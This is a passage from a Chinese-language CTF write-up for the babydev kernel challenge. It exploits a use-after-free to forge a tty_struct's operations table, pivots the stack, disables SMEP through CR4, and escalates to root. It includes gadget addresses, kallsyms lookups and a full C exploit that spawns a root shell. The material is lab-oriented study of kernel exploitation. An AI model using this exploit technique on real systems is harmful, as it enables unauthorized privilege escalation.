不难看出,这个结构体中存着许多的函数指针。当我们对ptmx驱动进行write时,就会调用上面write指针指向的函数,。那么如果我们能伪造这个结构体,并且可以修改const struct tty_operations *ops 这个指针,不就可以执行我们的提权代码了吗。(很像我们的FSOP)
我们先来进行一些准备工作:
由于本题开启了SMEP,无法直接ret2user,但是我们可以绕过。
SMEP和SMAP都通过cr4寄存器的值来判断,因此我们找到如下绕过的gadget:
1 0xffffffff81004d80 : mov cr4 , rdi
X86ASM
在CTF中,我们常将cr4的值设置为0x6f0来绕过SMEP。
本题没有开启SMAP,所以我们可以在用户态的栈上布置ROP链和tty_operations结构体。
并且本题无KASLR,/proc/kallsyms 没有设置root权限,可以直接读取:
1 2 3 4 5 6 7 8 9 10 / $ cat /proc /kallsyms | grep "commit_creds"ffffffff810a1420 T commit_creds ffffffff81d88f60 R __ksymtab_commit_credsffffffff81da84d0 r __kcrctab_commit_creds ffffffff81db948c r __kstrtab_commit_creds / $ cat /proc /kallsyms | grep "prepare_kernel_cred"ffffffff810a1810 T prepare_kernel_cred ffffffff81d91890 R __ksymtab_prepare_kernel_credffffffff81dac968 r __kcrctab_prepare_kernel_cred ffffffff81db9450 r __kstrtab_prepare_kernel_cred
TCL
接下来,就该考虑如何控制程序执行流了。由于我们无法控制内核的栈空间,所以我们需要使用栈迁移。
经过动调可以发现,在我们调用tty_operations->write 时,rax寄存器中存放的便是tty_operations 结构体的地址。那么我们就可以使用形如mov rsp, rax ,xchg rax, rsp 之类的指令进行栈迁移了。
由于rax指向的地址是tty_operations[0] ,而tty_operations->write 在tty_operations[7] ,这一段空间很小,我们得再执行一次栈迁移。
最后exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #define TTY_STRUCT_SIZE 0x2E0 #define MOV_CR4_RDI 0xffffffff81004d80 #define POP_RDI 0xffffffff810d238d #define SWAPGS 0xffffffff81063694 #define IRETQ 0xffffffff814e35ef #define MOV_RSP_RAX 0xFFFFFFFF8181BFC5 #define POP_RAX 0xffffffff8100ce6e size_t pkc_addr = 0xffffffff810a1810 ;size_t cc_addr = 0xffffffff810a1420 ;void getRoot () { char * (*pkc)(int ) = pkc_addr; void (*cc)(char *) = cc_addr; (*cc)((*pkc)(0 )); } void getShell () { system ("/bin/sh" ); }size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); }int main () { save_status (); int fd1 = open ("/dev/babydev" ,O_RDWR); int fd2 = open ("/dev/babydev" ,O_RDWR); if (fd1 < 0 || fd2 < 0 ) { printf ("open file error!!\n" ); exit (-1 ); } ioctl (fd1,0x10001 ,TTY_STRUCT_SIZE); close (fd1); size_t ROP[0x100 ]; int i=0 ; ROP[i++] = POP_RDI; ROP[i++] = 0x6f0 ; ROP[i++] = MOV_CR4_RDI; ROP[i++] = 0 ; ROP[i++] = (size_t )getRoot; ROP[i++] = SWAPGS; ROP[i++] = 0 ; ROP[i++] = IRETQ; ROP[i++] = (size_t )getShell; ROP[i++] = user_cs; ROP[i++] = user_rflags; ROP[i++] = user_sp; ROP[i++] = user_ss; size_t fake_tty_operations[35 ]; fake_tty_operations[7 ] = MOV_RSP_RAX; fake_tty_operations[0 ] = POP_RAX; fake_tty_operations[1 ] = (size_t )ROP; fake_tty_operations[2 ] = MOV_RSP_RAX; size_t fake_tty_struct[4 ]; int fd_tty = open ("/dev/ptmx" ,O_RDWR); read (fd2,fake_tty_struct,4 *8 ); fake_tty_struct[3 ] = (size_t )fake_tty_operations; write (fd2,fake_tty_struct,4 *8 ); size_t buf[4 ] = {0 }; write (fd_tty, buf,32 ); close (fd2); return 0 ; }
CPP
至此,即可成功提权。